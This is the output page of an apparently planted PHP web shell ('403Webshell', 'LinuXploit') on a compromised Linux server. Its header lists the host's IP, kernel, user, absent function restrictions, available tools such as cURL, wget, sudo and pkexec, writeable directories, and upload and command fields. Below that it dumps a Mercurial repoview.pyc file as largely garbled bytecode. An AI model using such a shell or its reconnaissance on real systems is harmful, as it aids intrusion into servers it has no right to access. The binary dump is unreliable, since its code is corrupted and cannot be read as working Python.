403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/repoview.cpython-39.pyc
a

�+�b�C�@s2ddlmZddlZddlZddlmZddlmZmZddl	m
Z
mZmZddl
mZmZmZm	Z	mZmZddlmZd	d
�Zdd�Zd
d�Zd(dd�Zd)dd�Zd*dd�Zd+dd�Zd,dd�Zeeeeeed�ZddhZe e�Z!dd�Z"d-dd�Z#d d!�Z$Gd"d#�d#e%�Z&Gd$d%�d%e%�Z'e�(�Z)d&d'�Z*dS).�)�absolute_importN�)�_)�hex�nullrev)�delattr�getattr�setattr)�error�obsolete�phases�pycompat�tags�util)�repoviewutilcCs,t�|d�}|j�|tj�}t|�}||BS)akRevision candidates to be hidden

    This is a standalone function to allow extensions to wrap it.

    Because we use the set of immutable changesets as a fallback subset in
    branchmap (see mercurial.utils.repoviewutils.subsettable), you cannot set
    "public" changesets as "hideable". Doing so would break multiple code
    assertions and lead to crashes.sobsolete)rZgetrevs�_phasecache�	getrevsetrZlocalhiddenphases�	frozenset)�repoZ	obsoletesZ	internals�r�8/usr/lib64/python3.9/site-packages/mercurial/repoview.py�hideablerevs#s	rcs�|j�t�}|�dd�|d��D��|��fdd�|j��D��i}t�|j||i�|r��j	j
�|��fdd�|��D��|�d�ddlm
}|j
�|�}|��r�|��r�|j|jfD]"}�j	�
|���dur�|���q�|S)	z8revisions blocking hidden changesets from being filteredcSsg|]}|���qSr��rev)�.0Zparrrr�
<listcomp>7�zpinnedrevs.<locals>.<listcomp>Ncsg|]}��|��qSrr)rZbm��clrrr8rc3s|]}�|d�VqdS)rNr)r�trrr�	<genexpr>>rzpinnedrevs.<locals>.<genexpr>r)�
mergestate)�	changelog�set�update�parentsZ
_bookmarks�values�tagsmodZ
readlocaltags�ui�indexZget_rev�discard�r!�readZactiveZunresolvedcount�local�other�add)rZpinnedrr!�ms�noder)rrr�
pinnedrevs2s$
r2cCsHt|�}|rD||���D](}|tkr||vr|�|�|�|�qqdS)aQreveals contiguous chains of hidden ancestors of 'revs' by removing them
    from 'hidden'

    - pfunc(r): a funtion returning parent of 'r',
    - hidden: the (preliminary) hidden revisions, to be updated
    - revs: iterable of revnum,

    (Ancestors are revealed exclusively, i.e. the elements in 'revs' are
    *not* revealed)
    N)�list�popr�remove�append)�pfunc�hidden�revs�stack�prrr�_revealancestorsPs
r<cCsh|jjrJ�t|�}|r`t|t|��}|r4||8}|jj}|j�|tj	�}||}t
|||�t|�S)zbcompute the set of hidden revision to filter

    During most operation hidden should be filtered.)r"�filteredrevsrr#r2�
parentrevsrrr�
mutablephasesr<r)r�visibilityexceptionsr8r7ZmutableZvisiblerrr�
computehiddencsrAcCs$|jjrJ�|j�|tj�}t|�S)z�compute the set of revision that can never be exposed through hgweb

    Changeset in the secret phase (or above) should stay unaccessible.)r"r=rrrZremotehiddenphasesr)rr@�secretsrrr�
computesecretvsrCcCs8|jjrJ�t|d�}t|d�}|r0t||B�S|SdS)z�compute the set of revision that should be filtered when used a server

    Secret and hidden changeset should not pretend to be here.�visible�
served.hiddenN)r"r=�
filterrevsr)rr@ZhiddensrBrrr�computeunserveds

rGcCs2|jjrJ�|j�|�r,t|j�|tj��St�S�N)r"r=rZhasnonpublicphasesrrrr?)rr@rrr�computemutable�srIcsd|jjrJ�|j�t��}|j�|�}|rFt|t�fdd�|D���}td|�}tt�	|t����S)a/Everything impactable by mutable revision

    The immutable filter still have some chance to get invalidated. This will
    happen when:

    - you garbage collect hidden changeset,
    - public phase is moved backward,
    - something is changed in the filtering (this could be fixed)

    This filter out any mutable changeset and any public changeset that may be
    impacted by something happening to a mutable revision.

    This is achieved by filtered everything with a revision number equal or
    higher than the first mutable changeset is filtered.c3s|]}��|�VqdSrHr)r�rrrrr �rz$computeimpactable.<locals>.<genexpr>r)
r"r=�lenrZnonpublicphaseroots�min�maxrr
�xrange)rr@Zfirstmutable�rootsrrr�computeimpactable�s
rP)rD�visible-hiddenrEsserveds	immutable�baserDrQcs�|�dd���durdSt�tjd�����dd���fdd�}tj}|d�tvr�t	D]:���fd	d
�}|t|��<�|vrZ||��||��<qZ�S)z�initialize extra filter and return its id

    If extra filtering is configured, we make sure the associated filtered view
    are declared and return the associated id.
    sexperimentalsextra-filter-revsNssha1�cs|d�S)N�%r)�fname)�fidrr�<lambda>�rzextrafilter.<locals>.<lambda>rRcs0t�|g|�Ri|��}t|����}||BSrH)�filtertablerr9)r�args�kwargsZbaserevsZ	extrarevs)�frevs�namerr�extrafilteredrevs�sz&extrafilter.<locals>.extrafilteredrevs)
Zconfigr
ZsysbytesrZDIGESTS�	hexdigestr�subsettablerX�_basefiltername)r(Zcombiner_r]r)rVr[r\r�extrafilter�s racCs�||jvr�|j�dd�r`d}||;}|jjrP|jjrPtj||jj|jjdd�n|j�	d|�t
|}|rx||j|�S||���|j|<|j|S)z�returns set of filtered revision for this filter name

    visibilityexceptions is a set of revs which must are exceptions for
    hidden-state and must be visible. They are dynamic and hence we should not
    cache it's resultsdevelsdebug.repo-filterss"computing revision filter for "%s"sdebug.filters: )�fZotherf�prefixsdebug.filters: %s
)Zfilteredrevcacher(Z
configboolZ
tracebackflagZ	debugflagrZdebugstacktraceZ_foutZ_ferr�debugrX�
unfiltered)r�
filternamer@�msg�funcrrrrF�s"
�rFcCs.t�|�}||_Gdd�dt|j�}||_|S)Nc@seZdZdS)z(wrapchangelog.<locals>.filteredchangelogN��__name__�
__module__�__qualname__rrrr�filteredchangelogsrm)�copyr=�filteredchangelogmixin�	__class__)�
unfichangelogr=rrmrrr�
wrapchangelog�s

rrcs�eZdZdd�Zdd�Zdd�Zd�fd	d
�	Zdd�Zd�fd
d�	Z�fdd�Z	�fdd�Z
�fdd�Z�fdd�Z�fdd�Z
�fdd�Z�ZS)rocCs2t�t|�ddd�D]}||jvr|SqdS)z!filtered version of revlog.tiprevr������N�r
rNrKr=)�self�irrr�tiprev
s
zfilteredchangelogmixin.tiprevcCs&d|kot|�kno$||jvS)z'filtered version of revlog.__contains__r)rKr=�rvrrrr�__contains__sz#filteredchangelogmixin.__contains__cs�fdd�}|�S)z#filtered version of revlog.__iter__c3s(t�t���D]}|�jvr|VqdSrHru)rw�rvrr�filterediters
z5filteredchangelogmixin.__iter__.<locals>.filterediterr)rvr|rr{r�__iter__szfilteredchangelogmixin.__iter__rNc#s,tt|��||�D]}||jvr|VqdS)zfiltered version of revlog.revsN)�superror9r=)rv�start�stoprw�rprrr9s
zfilteredchangelogmixin.revscCsTtj}||d�rt|�}|j}||d�r2||@}n
|�|�}|D]}t�|��q@|S)z�raise the appropriate error if 'revs' contains a filtered revision

        This returns a version of 'revs' to be used thereafter by the caller.
        In particular, if revs is an iterator, it is converted into a set.
        �__next__�first)r�safehasattrr#r=�intersectionr
�FilteredIndexError)rvr9r�r=Z	offendersrrrr�_checknofilteredinrevs$s



z-filteredchangelogmixin._checknofilteredinrevscsN|dur4z|j�|j�WSty2|��YS0|�|�}tt|��|�SrH)	r)Zheadrevsfilteredr=�AttributeErrorZ	_headrevsr�r~ro�headrevs)rvr9r�rrr�9s
zfilteredchangelogmixin.headrevscs$|jr
J�tt|�j|i|��dSrH)r=r~ro�strip)rvrYrZr�rrr�Es
zfilteredchangelogmixin.stripcs6tt|��|�}||jvr2t�t|�|jtd���|S)zfiltered version of revlog.revs
filtered node)	r~rorr=r
ZFilteredLookupErrorrZ
display_idr)rvr1rJr�rrrKs
�zfilteredchangelogmixin.revcs$||jvrt�|��tt|��|�S)zfiltered version of revlog.node)r=r
r�r~ror1ryr�rrr1Ts

zfilteredchangelogmixin.nodecs$||jvrt�|��tt|��|�S)z"filtered version of revlog.linkrev)r=r
r�r~ro�linkrevryr�rrr�Zs

zfilteredchangelogmixin.linkrevcs$||jvrt�|��tt|��|�S)z%filtered version of revlog.parentrevs)r=r
r�r~ror>ryr�rrr>`s

z!filteredchangelogmixin.parentrevscs$||jvrt�|��tt|��|�S)z filtered version of revlog.flags)r=r
r�r~ro�flagsryr�rrr�fs

zfilteredchangelogmixin.flags)rN)N)rjrkrlrxrzr}r9r�r�r�rr1r�r>r��
__classcell__rrr�rro	s
	roc@sXeZdZdZddd�Zedd��Zdd�Zdd	d
�Zdd�Z	d
d�Z
dd�Zdd�ZdS)�repoviewa�Provide a read/write view of a repo through a filtered changelog

    This object is used to access a filtered version of a repository without
    altering the original repository object itself. We can not alter the
    original object for two main reasons:
    - It prevents the use of a repo with multiple filters at the same time. In
      particular when multiple threads are involved.
    - It makes scope of the filtering harder to control.

    This object behaves very closely to the original repository. All attribute
    operations are done on the original repository:
    - An access to `repoview.someattr` actually returns `repo.someattr`,
    - A write to `repoview.someattr` actually sets value of `repo.someattr`,
    - A deletion of `repoview.someattr` actually drops `someattr`
      from `repo.__dict__`.

    The only exception is the `changelog` property. It is overridden to return
    a (surface) copy of `repo.changelog` with some revisions filtered. The
    `filtername` attribute of the view control the revisions that need to be
    filtered.  (the fact the changelog is copied is an implementation detail).

    Unlike attributes, this object intercepts all method calls. This means that
    all methods are run on the `repoview` object with the filtered `changelog`
    property. For this purpose the simple `repoview` class must be mixed with
    the actual class of the repository. This ensures that the resulting
    `repoview` object have the very same methods than the repo object. This
    leads to the property below.

        repoview.method() --> repo.__class__.method(repoview)

    The inheritance has to be done dynamically because `repo` can be of any
    subclasses of `localrepo`. Eg: `bundlerepo` or `statichttprepo`.
    NcCsJt�|d|�t�|d|�t�|dd�t�|dd�t�|d|�dS)N�_unfilteredreporf�_clcachekey�_clcache�_visibilityexceptions)�object�__setattr__)rvrrfr@rrr�__init__�s
zrepoview.__init__c	Cs�|j}|j}|j}t|�}||dd}t�d|j�� t||j|j�}Wd�n1s^0Y|j	}||t
|�|jf}|dur�|j|us�||jkr�d}|dur�|r�t
||�n|}t�|d|�t�|d|�|S)z_return a filtered version of the changeset

        this changelog must not be used for writingr�zrepo filter for %sNr�r�)r�r"r)rKrZtimedcmrfrFr�r��hashZ_delayedr�rrr�r�)	rvZunfirqZ	unfiindexZunfilenZunfinoder9rZnewkeyrrrr"�s(.��zrepoview.changelogcCs|jS)z&Return an unfiltered version of a repo)r�r{rrrre�szrepoview.unfilteredcCs"||jkr|s|S|���||�S)z)Return a filtered version of a repository)rfre�filtered)rvr\r@rrrr��szrepoview.filteredcCsd|jjt�|j�|��fS)Nz
<%s:%s %r>)rprjr
Zsysstrrfrer{rrr�__repr__�s

�zrepoview.__repr__cCst|j|�SrH)rr��rv�attrrrr�__getattr__�szrepoview.__getattr__cCst|j||�SrH)r	r�)rvr��valuerrrr��szrepoview.__setattr__cCst|j|�SrH)rr�r�rrr�__delattr__�szrepoview.__delattr__)N)N)
rjrkrl�__doc__r��propertyr"rer�r�r�r�r�rrrrr�ms"
	

r�cCsHt�|�}|dur$|�}|dur$|SGdd�dt|�}t�|�t|<|S)zBCreate a new type with the repoview mixin and the given base classNc@seZdZdS)znewtype.<locals>.filteredrepoNrirrrr�filteredrepo�sr�)�_filteredrepotypes�getr��weakref�ref)�baser��clsr�rrr�newtype�s
r�)N)N)N)N)N)N)+Z
__future__rrnr�Zi18nrr1rrr
rrr	r+r
rrrr'rZutilsrrr2r<rArCrGrIrPrXZ
filter_has_wcr3r`rarFrrr�ror��WeakKeyDictionaryr�r�rrrr�<module>	s> 

	


!�

dj

Youez - 2016 - github.com/yon3zu
LinuXploit